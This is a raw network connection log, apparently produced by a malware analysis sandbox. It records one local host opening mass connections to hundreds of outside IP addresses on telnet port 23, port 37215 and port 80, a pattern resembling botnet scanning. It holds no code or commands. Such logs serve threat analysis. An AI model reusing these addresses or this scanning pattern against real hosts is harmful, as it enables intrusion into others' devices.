Dec 3, 2024 21:47:25.600578070 CET	37215	52076	156.244.222.255	192.168.2.13
Dec 3, 2024 21:47:25.601002932 CET	37215	41936	197.233.207.19	192.168.2.13
Dec 3, 2024 21:47:25.601214886 CET	80	41174	12.24.147.177	192.168.2.13
Dec 3, 2024 21:47:25.601233959 CET	37215	56176	41.84.2.171	192.168.2.13
Dec 3, 2024 21:47:25.601243973 CET	80	36810	72.97.142.213	192.168.2.13
Dec 3, 2024 21:47:25.601427078 CET	37215	55164	156.238.129.211	192.168.2.13
Dec 3, 2024 21:47:25.601433039 CET	80	58536	107.213.65.9	192.168.2.13
Dec 3, 2024 21:47:25.601448059 CET	37215	55336	156.238.129.211	192.168.2.13
Dec 3, 2024 21:47:25.601496935 CET	37215	45824	41.227.92.100	192.168.2.13
Dec 3, 2024 21:47:25.601496935 CET	55336	37215	192.168.2.13	156.238.129.211
Dec 3, 2024 21:47:25.601536989 CET	55336	37215	192.168.2.13	156.238.129.211
Dec 3, 2024 21:47:25.601618052 CET	80	44752	126.129.144.5	192.168.2.13
Dec 3, 2024 21:47:25.601627111 CET	37215	35846	197.79.18.120	192.168.2.13
Dec 3, 2024 21:47:25.601638079 CET	80	54424	62.250.47.221	192.168.2.13
Dec 3, 2024 21:47:25.601731062 CET	37215	34918	156.18.66.100	192.168.2.13
Dec 3, 2024 21:47:25.601764917 CET	37215	60506	41.193.68.101	192.168.2.13
Dec 3, 2024 21:47:25.601861000 CET	37215	56054	41.179.108.209	192.168.2.13
Dec 3, 2024 21:47:25.601871967 CET	80	36550	216.217.165.253	192.168.2.13
Dec 3, 2024 21:47:25.601885080 CET	37215	36316	41.170.21.145	192.168.2.13
Dec 3, 2024 21:47:25.601912975 CET	36550	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:25.602077961 CET	37215	44560	197.102.244.208	192.168.2.13
Dec 3, 2024 21:47:25.603687048 CET	80	39974	190.171.181.209	192.168.2.13
Dec 3, 2024 21:47:25.603774071 CET	39974	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:25.605215073 CET	37215	35028	156.157.158.180	192.168.2.13
Dec 3, 2024 21:47:25.605284929 CET	35028	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:25.631963015 CET	23	40955	190.228.23.166	192.168.2.13
Dec 3, 2024 21:47:25.631970882 CET	23	40955	153.146.165.142	192.168.2.13
Dec 3, 2024 21:47:25.631984949 CET	23	40955	17.234.9.152	192.168.2.13
Dec 3, 2024 21:47:25.632071018 CET	40955	23	192.168.2.13	190.228.23.166
Dec 3, 2024 21:47:25.632072926 CET	40955	23	192.168.2.13	153.146.165.142
Dec 3, 2024 21:47:25.632078886 CET	40955	23	192.168.2.13	17.234.9.152
Dec 3, 2024 21:47:25.632128954 CET	23	40955	145.97.60.100	192.168.2.13
Dec 3, 2024 21:47:25.632133961 CET	23	40955	58.46.56.248	192.168.2.13
Dec 3, 2024 21:47:25.632147074 CET	23	40955	170.212.249.161	192.168.2.13
Dec 3, 2024 21:47:25.632154942 CET	23	40955	165.229.238.75	192.168.2.13
Dec 3, 2024 21:47:25.632181883 CET	40955	23	192.168.2.13	145.97.60.100
Dec 3, 2024 21:47:25.632189035 CET	40955	23	192.168.2.13	165.229.238.75
Dec 3, 2024 21:47:25.632194042 CET	40955	23	192.168.2.13	58.46.56.248
Dec 3, 2024 21:47:25.632194042 CET	40955	23	192.168.2.13	170.212.249.161
Dec 3, 2024 21:47:25.637053967 CET	37215	35522	41.18.160.244	192.168.2.13
Dec 3, 2024 21:47:25.637087107 CET	37215	56796	41.180.245.216	192.168.2.13
Dec 3, 2024 21:47:25.637141943 CET	35522	37215	192.168.2.13	41.18.160.244
Dec 3, 2024 21:47:25.637161970 CET	56796	37215	192.168.2.13	41.180.245.216
Dec 3, 2024 21:47:25.637236118 CET	56796	37215	192.168.2.13	41.180.245.216
Dec 3, 2024 21:47:25.637236118 CET	56796	37215	192.168.2.13	41.180.245.216
Dec 3, 2024 21:47:25.637670994 CET	56804	37215	192.168.2.13	41.180.245.216
Dec 3, 2024 21:47:25.638459921 CET	37215	51298	41.78.161.48	192.168.2.13
Dec 3, 2024 21:47:25.638510942 CET	51298	37215	192.168.2.13	41.78.161.48
Dec 3, 2024 21:47:25.638554096 CET	51298	37215	192.168.2.13	41.78.161.48
Dec 3, 2024 21:47:25.638565063 CET	51298	37215	192.168.2.13	41.78.161.48
Dec 3, 2024 21:47:25.638807058 CET	51306	37215	192.168.2.13	41.78.161.48
Dec 3, 2024 21:47:25.646490097 CET	37215	39234	197.70.204.94	192.168.2.13
Dec 3, 2024 21:47:25.646496058 CET	37215	44560	197.102.244.208	192.168.2.13
Dec 3, 2024 21:47:25.646513939 CET	37215	36316	41.170.21.145	192.168.2.13
Dec 3, 2024 21:47:25.646568060 CET	37215	56054	41.179.108.209	192.168.2.13
Dec 3, 2024 21:47:25.646578074 CET	37215	60506	41.193.68.101	192.168.2.13
Dec 3, 2024 21:47:25.646600008 CET	37215	34918	156.18.66.100	192.168.2.13
Dec 3, 2024 21:47:25.646615028 CET	80	54424	62.250.47.221	192.168.2.13
Dec 3, 2024 21:47:25.646631956 CET	37215	35676	197.66.11.86	192.168.2.13
Dec 3, 2024 21:47:25.646646023 CET	37215	53918	156.115.33.143	192.168.2.13
Dec 3, 2024 21:47:25.646655083 CET	37215	35846	197.79.18.120	192.168.2.13
Dec 3, 2024 21:47:25.646680117 CET	80	44752	126.129.144.5	192.168.2.13
Dec 3, 2024 21:47:25.646683931 CET	37215	45824	41.227.92.100	192.168.2.13
Dec 3, 2024 21:47:25.646714926 CET	80	58536	107.213.65.9	192.168.2.13
Dec 3, 2024 21:47:25.646723986 CET	37215	55164	156.238.129.211	192.168.2.13
Dec 3, 2024 21:47:25.646730900 CET	80	36810	72.97.142.213	192.168.2.13
Dec 3, 2024 21:47:25.646797895 CET	37215	56176	41.84.2.171	192.168.2.13
Dec 3, 2024 21:47:25.646805048 CET	80	41174	12.24.147.177	192.168.2.13
Dec 3, 2024 21:47:25.646894932 CET	37215	41936	197.233.207.19	192.168.2.13
Dec 3, 2024 21:47:25.646900892 CET	37215	52076	156.244.222.255	192.168.2.13
Dec 3, 2024 21:47:25.646922112 CET	37215	59084	41.248.180.24	192.168.2.13
Dec 3, 2024 21:47:25.646929026 CET	37215	53288	197.197.99.27	192.168.2.13
Dec 3, 2024 21:47:25.646941900 CET	37215	49042	156.81.165.124	192.168.2.13
Dec 3, 2024 21:47:25.646949053 CET	37215	42048	197.140.239.213	192.168.2.13
Dec 3, 2024 21:47:25.646960974 CET	37215	51276	197.49.143.54	192.168.2.13
Dec 3, 2024 21:47:25.646972895 CET	37215	53170	197.127.150.255	192.168.2.13
Dec 3, 2024 21:47:25.646985054 CET	37215	51350	156.120.218.74	192.168.2.13
Dec 3, 2024 21:47:25.647001028 CET	37215	52824	41.70.169.235	192.168.2.13
Dec 3, 2024 21:47:25.647012949 CET	37215	38252	197.217.135.4	192.168.2.13
Dec 3, 2024 21:47:25.647017956 CET	37215	54482	41.159.45.219	192.168.2.13
Dec 3, 2024 21:47:25.647028923 CET	37215	36698	41.26.12.27	192.168.2.13
Dec 3, 2024 21:47:25.647036076 CET	37215	55416	156.155.65.188	192.168.2.13
Dec 3, 2024 21:47:25.647042990 CET	37215	60128	156.142.143.175	192.168.2.13
Dec 3, 2024 21:47:25.647049904 CET	37215	42164	197.22.134.226	192.168.2.13
Dec 3, 2024 21:47:25.647058964 CET	37215	51982	197.155.147.73	192.168.2.13
Dec 3, 2024 21:47:25.647066116 CET	37215	51976	156.41.38.126	192.168.2.13
Dec 3, 2024 21:47:25.647073030 CET	37215	47708	197.241.234.235	192.168.2.13
Dec 3, 2024 21:47:25.647083998 CET	37215	34998	197.189.180.232	192.168.2.13
Dec 3, 2024 21:47:25.661753893 CET	23	34566	185.229.236.203	192.168.2.13
Dec 3, 2024 21:47:25.662467957 CET	37215	47286	156.1.31.252	192.168.2.13
Dec 3, 2024 21:47:25.662483931 CET	23	35010	185.229.236.203	192.168.2.13
Dec 3, 2024 21:47:25.662558079 CET	35010	23	192.168.2.13	185.229.236.203
Dec 3, 2024 21:47:25.662599087 CET	47286	37215	192.168.2.13	156.1.31.252
Dec 3, 2024 21:47:25.720403910 CET	37215	53346	197.127.150.255	192.168.2.13
Dec 3, 2024 21:47:25.720515966 CET	53346	37215	192.168.2.13	197.127.150.255
Dec 3, 2024 21:47:25.721752882 CET	37215	55336	156.238.129.211	192.168.2.13
Dec 3, 2024 21:47:25.721976995 CET	55336	37215	192.168.2.13	156.238.129.211
Dec 3, 2024 21:47:25.757199049 CET	37215	56796	41.180.245.216	192.168.2.13
Dec 3, 2024 21:47:25.757566929 CET	37215	56804	41.180.245.216	192.168.2.13
Dec 3, 2024 21:47:25.757787943 CET	56804	37215	192.168.2.13	41.180.245.216
Dec 3, 2024 21:47:25.757889986 CET	56804	37215	192.168.2.13	41.180.245.216
Dec 3, 2024 21:47:25.758477926 CET	37215	51298	41.78.161.48	192.168.2.13
Dec 3, 2024 21:47:25.758630991 CET	37215	51306	41.78.161.48	192.168.2.13
Dec 3, 2024 21:47:25.758687019 CET	51306	37215	192.168.2.13	41.78.161.48
Dec 3, 2024 21:47:25.758711100 CET	51306	37215	192.168.2.13	41.78.161.48
Dec 3, 2024 21:47:25.798558950 CET	37215	56796	41.180.245.216	192.168.2.13
Dec 3, 2024 21:47:25.806453943 CET	37215	51298	41.78.161.48	192.168.2.13
Dec 3, 2024 21:47:25.878839016 CET	37215	56804	41.180.245.216	192.168.2.13
Dec 3, 2024 21:47:25.878979921 CET	56804	37215	192.168.2.13	41.180.245.216
Dec 3, 2024 21:47:25.879635096 CET	37215	51306	41.78.161.48	192.168.2.13
Dec 3, 2024 21:47:25.879739046 CET	51306	37215	192.168.2.13	41.78.161.48
Dec 3, 2024 21:47:26.132647038 CET	47052	23	192.168.2.13	98.183.85.28
Dec 3, 2024 21:47:26.132649899 CET	44388	23	192.168.2.13	203.85.193.185
Dec 3, 2024 21:47:26.132652998 CET	41672	23	192.168.2.13	108.18.237.95
Dec 3, 2024 21:47:26.132652998 CET	53512	23	192.168.2.13	90.142.218.151
Dec 3, 2024 21:47:26.132652998 CET	34256	23	192.168.2.13	190.114.39.15
Dec 3, 2024 21:47:26.132663012 CET	37728	23	192.168.2.13	17.144.221.90
Dec 3, 2024 21:47:26.132663012 CET	40556	23	192.168.2.13	13.89.180.59
Dec 3, 2024 21:47:26.132664919 CET	55430	23	192.168.2.13	123.81.77.115
Dec 3, 2024 21:47:26.132663012 CET	34630	23	192.168.2.13	79.176.234.5
Dec 3, 2024 21:47:26.132663012 CET	59154	23	192.168.2.13	129.16.212.225
Dec 3, 2024 21:47:26.132664919 CET	60100	23	192.168.2.13	157.45.117.202
Dec 3, 2024 21:47:26.132664919 CET	36578	23	192.168.2.13	52.2.153.85
Dec 3, 2024 21:47:26.132664919 CET	38310	23	192.168.2.13	37.228.217.64
Dec 3, 2024 21:47:26.132669926 CET	52100	23	192.168.2.13	77.174.65.67
Dec 3, 2024 21:47:26.132697105 CET	45062	23	192.168.2.13	113.7.157.248
Dec 3, 2024 21:47:26.132697105 CET	36204	23	192.168.2.13	158.197.67.124
Dec 3, 2024 21:47:26.132699966 CET	54344	23	192.168.2.13	220.211.251.49
Dec 3, 2024 21:47:26.132700920 CET	46922	23	192.168.2.13	144.144.185.255
Dec 3, 2024 21:47:26.132708073 CET	56218	23	192.168.2.13	164.149.180.219
Dec 3, 2024 21:47:26.132708073 CET	57258	23	192.168.2.13	50.186.0.162
Dec 3, 2024 21:47:26.132708073 CET	48196	23	192.168.2.13	31.246.182.137
Dec 3, 2024 21:47:26.132733107 CET	52236	23	192.168.2.13	155.63.247.176
Dec 3, 2024 21:47:26.132745028 CET	45316	23	192.168.2.13	106.232.232.247
Dec 3, 2024 21:47:26.132745028 CET	48946	23	192.168.2.13	202.75.144.168
Dec 3, 2024 21:47:26.132745028 CET	60506	23	192.168.2.13	114.31.97.188
Dec 3, 2024 21:47:26.132747889 CET	42392	23	192.168.2.13	198.67.245.87
Dec 3, 2024 21:47:26.132761002 CET	38606	23	192.168.2.13	141.206.171.204
Dec 3, 2024 21:47:26.132766962 CET	47456	23	192.168.2.13	96.130.239.208
Dec 3, 2024 21:47:26.132766962 CET	36268	23	192.168.2.13	140.69.3.198
Dec 3, 2024 21:47:26.132772923 CET	55308	23	192.168.2.13	186.216.32.182
Dec 3, 2024 21:47:26.132780075 CET	49940	23	192.168.2.13	102.203.210.143
Dec 3, 2024 21:47:26.132786036 CET	41282	23	192.168.2.13	117.129.227.105
Dec 3, 2024 21:47:26.132787943 CET	56278	23	192.168.2.13	159.211.57.212
Dec 3, 2024 21:47:26.132798910 CET	40176	23	192.168.2.13	90.34.241.221
Dec 3, 2024 21:47:26.132802010 CET	35928	23	192.168.2.13	99.155.216.194
Dec 3, 2024 21:47:26.132802010 CET	44306	23	192.168.2.13	34.88.48.121
Dec 3, 2024 21:47:26.132802963 CET	58200	23	192.168.2.13	20.95.83.168
Dec 3, 2024 21:47:26.132810116 CET	51068	23	192.168.2.13	60.220.55.189
Dec 3, 2024 21:47:26.132816076 CET	48044	23	192.168.2.13	107.112.64.92
Dec 3, 2024 21:47:26.132818937 CET	49578	23	192.168.2.13	137.87.32.92
Dec 3, 2024 21:47:26.132829905 CET	43502	23	192.168.2.13	149.154.232.242
Dec 3, 2024 21:47:26.132829905 CET	42018	23	192.168.2.13	44.79.158.94
Dec 3, 2024 21:47:26.133374929 CET	23	40614	61.156.145.112	192.168.2.13
Dec 3, 2024 21:47:26.133611917 CET	40614	23	192.168.2.13	61.156.145.112
Dec 3, 2024 21:47:26.134089947 CET	40948	23	192.168.2.13	61.156.145.112
Dec 3, 2024 21:47:26.228601933 CET	58696	23	192.168.2.13	23.197.79.26
Dec 3, 2024 21:47:26.228604078 CET	37226	23	192.168.2.13	199.141.29.197
Dec 3, 2024 21:47:26.228604078 CET	57118	23	192.168.2.13	34.210.178.7
Dec 3, 2024 21:47:26.228606939 CET	59678	23	192.168.2.13	84.218.50.70
Dec 3, 2024 21:47:26.228610039 CET	53712	23	192.168.2.13	192.105.81.173
Dec 3, 2024 21:47:26.252945900 CET	23	52100	77.174.65.67	192.168.2.13
Dec 3, 2024 21:47:26.252969980 CET	23	47052	98.183.85.28	192.168.2.13
Dec 3, 2024 21:47:26.252985001 CET	23	53512	90.142.218.151	192.168.2.13
Dec 3, 2024 21:47:26.252994061 CET	23	41672	108.18.237.95	192.168.2.13
Dec 3, 2024 21:47:26.252999067 CET	23	44388	203.85.193.185	192.168.2.13
Dec 3, 2024 21:47:26.253011942 CET	23	34256	190.114.39.15	192.168.2.13
Dec 3, 2024 21:47:26.253047943 CET	23	37728	17.144.221.90	192.168.2.13
Dec 3, 2024 21:47:26.253052950 CET	23	40556	13.89.180.59	192.168.2.13
Dec 3, 2024 21:47:26.253066063 CET	23	55430	123.81.77.115	192.168.2.13
Dec 3, 2024 21:47:26.253072977 CET	23	45062	113.7.157.248	192.168.2.13
Dec 3, 2024 21:47:26.253108978 CET	44388	23	192.168.2.13	203.85.193.185
Dec 3, 2024 21:47:26.253119946 CET	34256	23	192.168.2.13	190.114.39.15
Dec 3, 2024 21:47:26.253138065 CET	23	54344	220.211.251.49	192.168.2.13
Dec 3, 2024 21:47:26.253182888 CET	47052	23	192.168.2.13	98.183.85.28
Dec 3, 2024 21:47:26.253190041 CET	53512	23	192.168.2.13	90.142.218.151
Dec 3, 2024 21:47:26.253190041 CET	41672	23	192.168.2.13	108.18.237.95
Dec 3, 2024 21:47:26.253196955 CET	37728	23	192.168.2.13	17.144.221.90
Dec 3, 2024 21:47:26.253196955 CET	40556	23	192.168.2.13	13.89.180.59
Dec 3, 2024 21:47:26.253206015 CET	52100	23	192.168.2.13	77.174.65.67
Dec 3, 2024 21:47:26.253232956 CET	40955	23	192.168.2.13	193.215.71.231
Dec 3, 2024 21:47:26.253233910 CET	40955	23	192.168.2.13	129.84.219.132
Dec 3, 2024 21:47:26.253236055 CET	40955	23	192.168.2.13	131.164.132.235
Dec 3, 2024 21:47:26.253236055 CET	40955	23	192.168.2.13	130.131.91.151
Dec 3, 2024 21:47:26.253236055 CET	45062	23	192.168.2.13	113.7.157.248
Dec 3, 2024 21:47:26.253237963 CET	40955	23	192.168.2.13	134.249.45.102
Dec 3, 2024 21:47:26.253247023 CET	40955	23	192.168.2.13	85.24.37.192
Dec 3, 2024 21:47:26.253247023 CET	55430	23	192.168.2.13	123.81.77.115
Dec 3, 2024 21:47:26.253248930 CET	54344	23	192.168.2.13	220.211.251.49
Dec 3, 2024 21:47:26.253248930 CET	40955	23	192.168.2.13	175.28.121.99
Dec 3, 2024 21:47:26.253257990 CET	40955	23	192.168.2.13	69.226.230.63
Dec 3, 2024 21:47:26.253258944 CET	40955	23	192.168.2.13	39.169.194.227
Dec 3, 2024 21:47:26.253259897 CET	40955	23	192.168.2.13	141.252.232.62
Dec 3, 2024 21:47:26.253259897 CET	40955	23	192.168.2.13	190.223.230.90
Dec 3, 2024 21:47:26.253259897 CET	40955	23	192.168.2.13	9.31.233.78
Dec 3, 2024 21:47:26.253269911 CET	40955	23	192.168.2.13	61.236.211.247
Dec 3, 2024 21:47:26.253271103 CET	40955	23	192.168.2.13	48.90.198.253
Dec 3, 2024 21:47:26.253271103 CET	40955	23	192.168.2.13	161.19.148.172
Dec 3, 2024 21:47:26.253273010 CET	40955	23	192.168.2.13	72.119.215.95
Dec 3, 2024 21:47:26.253273010 CET	40955	23	192.168.2.13	27.243.33.83
Dec 3, 2024 21:47:26.253277063 CET	40955	23	192.168.2.13	74.17.222.138
Dec 3, 2024 21:47:26.253278017 CET	40955	23	192.168.2.13	180.120.77.249
Dec 3, 2024 21:47:26.253284931 CET	40955	23	192.168.2.13	1.54.229.137
Dec 3, 2024 21:47:26.253287077 CET	40955	23	192.168.2.13	110.31.66.113
Dec 3, 2024 21:47:26.253294945 CET	40955	23	192.168.2.13	205.79.27.251
Dec 3, 2024 21:47:26.253295898 CET	40955	23	192.168.2.13	34.141.237.154
Dec 3, 2024 21:47:26.253318071 CET	40955	23	192.168.2.13	42.231.209.246
Dec 3, 2024 21:47:26.253318071 CET	40955	23	192.168.2.13	201.194.133.234
Dec 3, 2024 21:47:26.253324032 CET	40955	23	192.168.2.13	2.186.172.102
Dec 3, 2024 21:47:26.253333092 CET	40955	23	192.168.2.13	142.9.170.198
Dec 3, 2024 21:47:26.253334999 CET	40955	23	192.168.2.13	138.255.232.243
Dec 3, 2024 21:47:26.253334999 CET	40955	23	192.168.2.13	164.174.32.238
Dec 3, 2024 21:47:26.253338099 CET	40955	23	192.168.2.13	99.31.105.0
Dec 3, 2024 21:47:26.253339052 CET	40955	23	192.168.2.13	185.32.46.95
Dec 3, 2024 21:47:26.253354073 CET	40955	23	192.168.2.13	110.89.240.178
Dec 3, 2024 21:47:26.253357887 CET	40955	23	192.168.2.13	5.37.56.101
Dec 3, 2024 21:47:26.253366947 CET	40955	23	192.168.2.13	107.214.27.120
Dec 3, 2024 21:47:26.253369093 CET	40955	23	192.168.2.13	187.236.79.120
Dec 3, 2024 21:47:26.253384113 CET	40955	23	192.168.2.13	71.41.114.20
Dec 3, 2024 21:47:26.253385067 CET	40955	23	192.168.2.13	27.23.246.16
Dec 3, 2024 21:47:26.253396988 CET	40955	23	192.168.2.13	107.72.42.195
Dec 3, 2024 21:47:26.253402948 CET	40955	23	192.168.2.13	91.161.32.233
Dec 3, 2024 21:47:26.253402948 CET	40955	23	192.168.2.13	61.251.226.70
Dec 3, 2024 21:47:26.253408909 CET	40955	23	192.168.2.13	102.160.106.20
Dec 3, 2024 21:47:26.253411055 CET	40955	23	192.168.2.13	217.97.153.5
Dec 3, 2024 21:47:26.253426075 CET	40955	23	192.168.2.13	123.207.31.239
Dec 3, 2024 21:47:26.253431082 CET	40955	23	192.168.2.13	82.182.146.67
Dec 3, 2024 21:47:26.253447056 CET	40955	23	192.168.2.13	50.121.107.254
Dec 3, 2024 21:47:26.253453970 CET	40955	23	192.168.2.13	126.7.4.178
Dec 3, 2024 21:47:26.253457069 CET	40955	23	192.168.2.13	101.49.109.68
Dec 3, 2024 21:47:26.253457069 CET	40955	23	192.168.2.13	83.201.143.212
Dec 3, 2024 21:47:26.253469944 CET	40955	23	192.168.2.13	43.3.138.147
Dec 3, 2024 21:47:26.253473043 CET	40955	23	192.168.2.13	78.221.85.246
Dec 3, 2024 21:47:26.253474951 CET	40955	23	192.168.2.13	221.12.144.156
Dec 3, 2024 21:47:26.253487110 CET	40955	23	192.168.2.13	14.239.148.6
Dec 3, 2024 21:47:26.253489017 CET	40955	23	192.168.2.13	75.117.169.75
Dec 3, 2024 21:47:26.253496885 CET	40955	23	192.168.2.13	136.47.58.14
Dec 3, 2024 21:47:26.253496885 CET	40955	23	192.168.2.13	66.0.57.110
Dec 3, 2024 21:47:26.253501892 CET	40955	23	192.168.2.13	79.232.23.27
Dec 3, 2024 21:47:26.253515959 CET	40955	23	192.168.2.13	79.24.162.228
Dec 3, 2024 21:47:26.253519058 CET	40955	23	192.168.2.13	145.59.103.96
Dec 3, 2024 21:47:26.253519058 CET	40955	23	192.168.2.13	40.216.147.157
Dec 3, 2024 21:47:26.253526926 CET	40955	23	192.168.2.13	142.118.138.99
Dec 3, 2024 21:47:26.253535032 CET	40955	23	192.168.2.13	176.72.65.221
Dec 3, 2024 21:47:26.253537893 CET	40955	23	192.168.2.13	133.52.23.137
Dec 3, 2024 21:47:26.253551960 CET	40955	23	192.168.2.13	43.15.241.117
Dec 3, 2024 21:47:26.253551960 CET	40955	23	192.168.2.13	92.176.62.13
Dec 3, 2024 21:47:26.253555059 CET	40955	23	192.168.2.13	126.156.45.241
Dec 3, 2024 21:47:26.253562927 CET	40955	23	192.168.2.13	170.166.187.217
Dec 3, 2024 21:47:26.253590107 CET	40955	23	192.168.2.13	97.213.137.141
Dec 3, 2024 21:47:26.253590107 CET	40955	23	192.168.2.13	178.240.96.214
Dec 3, 2024 21:47:26.253595114 CET	40955	23	192.168.2.13	185.71.58.81
Dec 3, 2024 21:47:26.253595114 CET	40955	23	192.168.2.13	112.46.75.193
Dec 3, 2024 21:47:26.253614902 CET	40955	23	192.168.2.13	78.57.118.223
Dec 3, 2024 21:47:26.253619909 CET	40955	23	192.168.2.13	4.132.211.174
Dec 3, 2024 21:47:26.253619909 CET	40955	23	192.168.2.13	137.30.195.180
Dec 3, 2024 21:47:26.253619909 CET	40955	23	192.168.2.13	136.108.78.76
Dec 3, 2024 21:47:26.253619909 CET	40955	23	192.168.2.13	19.250.98.163
Dec 3, 2024 21:47:26.253623009 CET	40955	23	192.168.2.13	167.81.14.50
Dec 3, 2024 21:47:26.253623009 CET	40955	23	192.168.2.13	179.0.23.181
Dec 3, 2024 21:47:26.253633022 CET	40955	23	192.168.2.13	161.125.206.67
Dec 3, 2024 21:47:26.253633022 CET	40955	23	192.168.2.13	219.120.83.82
Dec 3, 2024 21:47:26.253643036 CET	40955	23	192.168.2.13	44.134.141.67
Dec 3, 2024 21:47:26.253657103 CET	23	36204	158.197.67.124	192.168.2.13
Dec 3, 2024 21:47:26.253658056 CET	40955	23	192.168.2.13	152.230.89.249
Dec 3, 2024 21:47:26.253664970 CET	40955	23	192.168.2.13	135.171.52.209
Dec 3, 2024 21:47:26.253665924 CET	40955	23	192.168.2.13	122.79.169.123
Dec 3, 2024 21:47:26.253665924 CET	23	46922	144.144.185.255	192.168.2.13
Dec 3, 2024 21:47:26.253665924 CET	40955	23	192.168.2.13	158.62.85.79
Dec 3, 2024 21:47:26.253664970 CET	40955	23	192.168.2.13	107.144.237.163
Dec 3, 2024 21:47:26.253669977 CET	40955	23	192.168.2.13	35.240.18.100
Dec 3, 2024 21:47:26.253669977 CET	40955	23	192.168.2.13	43.61.159.192
Dec 3, 2024 21:47:26.253679037 CET	40955	23	192.168.2.13	82.255.169.29
Dec 3, 2024 21:47:26.253681898 CET	40955	23	192.168.2.13	167.117.129.48
Dec 3, 2024 21:47:26.253689051 CET	23	60100	157.45.117.202	192.168.2.13
Dec 3, 2024 21:47:26.253694057 CET	23	34630	79.176.234.5	192.168.2.13
Dec 3, 2024 21:47:26.253704071 CET	36204	23	192.168.2.13	158.197.67.124
Dec 3, 2024 21:47:26.253705025 CET	46922	23	192.168.2.13	144.144.185.255
Dec 3, 2024 21:47:26.253705025 CET	40955	23	192.168.2.13	128.104.79.13
Dec 3, 2024 21:47:26.253705025 CET	40955	23	192.168.2.13	52.217.115.70
Dec 3, 2024 21:47:26.253717899 CET	40955	23	192.168.2.13	66.194.65.104
Dec 3, 2024 21:47:26.253732920 CET	23	36578	52.2.153.85	192.168.2.13
Dec 3, 2024 21:47:26.253737926 CET	23	59154	129.16.212.225	192.168.2.13
Dec 3, 2024 21:47:26.253742933 CET	60100	23	192.168.2.13	157.45.117.202
Dec 3, 2024 21:47:26.253743887 CET	40955	23	192.168.2.13	52.135.117.19
Dec 3, 2024 21:47:26.253745079 CET	40955	23	192.168.2.13	87.23.232.157
Dec 3, 2024 21:47:26.253743887 CET	40955	23	192.168.2.13	104.105.156.187
Dec 3, 2024 21:47:26.253746986 CET	34630	23	192.168.2.13	79.176.234.5
Dec 3, 2024 21:47:26.253745079 CET	40955	23	192.168.2.13	185.222.77.79
Dec 3, 2024 21:47:26.253747940 CET	23	38310	37.228.217.64	192.168.2.13
Dec 3, 2024 21:47:26.253745079 CET	40955	23	192.168.2.13	169.147.39.135
Dec 3, 2024 21:47:26.253751040 CET	40955	23	192.168.2.13	218.146.10.79
Dec 3, 2024 21:47:26.253751040 CET	40955	23	192.168.2.13	44.168.172.163
Dec 3, 2024 21:47:26.253753901 CET	40955	23	192.168.2.13	158.11.98.195
Dec 3, 2024 21:47:26.253757000 CET	40955	23	192.168.2.13	44.182.69.113
Dec 3, 2024 21:47:26.253757954 CET	36578	23	192.168.2.13	52.2.153.85
Dec 3, 2024 21:47:26.253758907 CET	23	56218	164.149.180.219	192.168.2.13
Dec 3, 2024 21:47:26.253765106 CET	23	57258	50.186.0.162	192.168.2.13
Dec 3, 2024 21:47:26.253772020 CET	59154	23	192.168.2.13	129.16.212.225
Dec 3, 2024 21:47:26.253782988 CET	23	52236	155.63.247.176	192.168.2.13
Dec 3, 2024 21:47:26.253783941 CET	38310	23	192.168.2.13	37.228.217.64
Dec 3, 2024 21:47:26.253794909 CET	56218	23	192.168.2.13	164.149.180.219
Dec 3, 2024 21:47:26.253803015 CET	57258	23	192.168.2.13	50.186.0.162
Dec 3, 2024 21:47:26.253813982 CET	23	48196	31.246.182.137	192.168.2.13
Dec 3, 2024 21:47:26.253823042 CET	52236	23	192.168.2.13	155.63.247.176
Dec 3, 2024 21:47:26.253824949 CET	40955	23	192.168.2.13	101.47.61.148
Dec 3, 2024 21:47:26.253829002 CET	23	60506	114.31.97.188	192.168.2.13
Dec 3, 2024 21:47:26.253834009 CET	23	45316	106.232.232.247	192.168.2.13
Dec 3, 2024 21:47:26.253843069 CET	40955	23	192.168.2.13	110.198.17.158
Dec 3, 2024 21:47:26.253844976 CET	40955	23	192.168.2.13	13.172.209.131
Dec 3, 2024 21:47:26.253848076 CET	48196	23	192.168.2.13	31.246.182.137
Dec 3, 2024 21:47:26.253849983 CET	40955	23	192.168.2.13	77.187.120.57
Dec 3, 2024 21:47:26.253855944 CET	40955	23	192.168.2.13	169.26.249.108
Dec 3, 2024 21:47:26.253858089 CET	40955	23	192.168.2.13	82.198.42.153
Dec 3, 2024 21:47:26.253858089 CET	40955	23	192.168.2.13	102.83.96.232
Dec 3, 2024 21:47:26.253858089 CET	40955	23	192.168.2.13	167.0.237.62
Dec 3, 2024 21:47:26.253861904 CET	23	42392	198.67.245.87	192.168.2.13
Dec 3, 2024 21:47:26.253880978 CET	40955	23	192.168.2.13	115.126.216.146
Dec 3, 2024 21:47:26.253881931 CET	40955	23	192.168.2.13	202.65.3.117
Dec 3, 2024 21:47:26.253890038 CET	45316	23	192.168.2.13	106.232.232.247
Dec 3, 2024 21:47:26.253890991 CET	40955	23	192.168.2.13	167.55.45.231
Dec 3, 2024 21:47:26.253890038 CET	40955	23	192.168.2.13	203.165.183.111
Dec 3, 2024 21:47:26.253890991 CET	40955	23	192.168.2.13	211.124.192.241
Dec 3, 2024 21:47:26.253894091 CET	60506	23	192.168.2.13	114.31.97.188
Dec 3, 2024 21:47:26.253897905 CET	40955	23	192.168.2.13	87.153.204.19
Dec 3, 2024 21:47:26.253897905 CET	40955	23	192.168.2.13	176.85.234.138
Dec 3, 2024 21:47:26.253901958 CET	40955	23	192.168.2.13	185.248.12.153
Dec 3, 2024 21:47:26.253901958 CET	40955	23	192.168.2.13	181.170.82.36
Dec 3, 2024 21:47:26.253911018 CET	40955	23	192.168.2.13	51.167.77.169
Dec 3, 2024 21:47:26.253912926 CET	40955	23	192.168.2.13	107.112.207.252
Dec 3, 2024 21:47:26.253912926 CET	42392	23	192.168.2.13	198.67.245.87
Dec 3, 2024 21:47:26.253914118 CET	40955	23	192.168.2.13	201.21.5.168
Dec 3, 2024 21:47:26.253915071 CET	40955	23	192.168.2.13	129.169.232.99
Dec 3, 2024 21:47:26.253920078 CET	23	48946	202.75.144.168	192.168.2.13
Dec 3, 2024 21:47:26.253923893 CET	40955	23	192.168.2.13	185.47.64.83
Dec 3, 2024 21:47:26.253925085 CET	40955	23	192.168.2.13	180.75.74.140
Dec 3, 2024 21:47:26.253926039 CET	23	38606	141.206.171.204	192.168.2.13
Dec 3, 2024 21:47:26.253931046 CET	40955	23	192.168.2.13	200.215.220.202
Dec 3, 2024 21:47:26.253931046 CET	40955	23	192.168.2.13	41.48.126.143
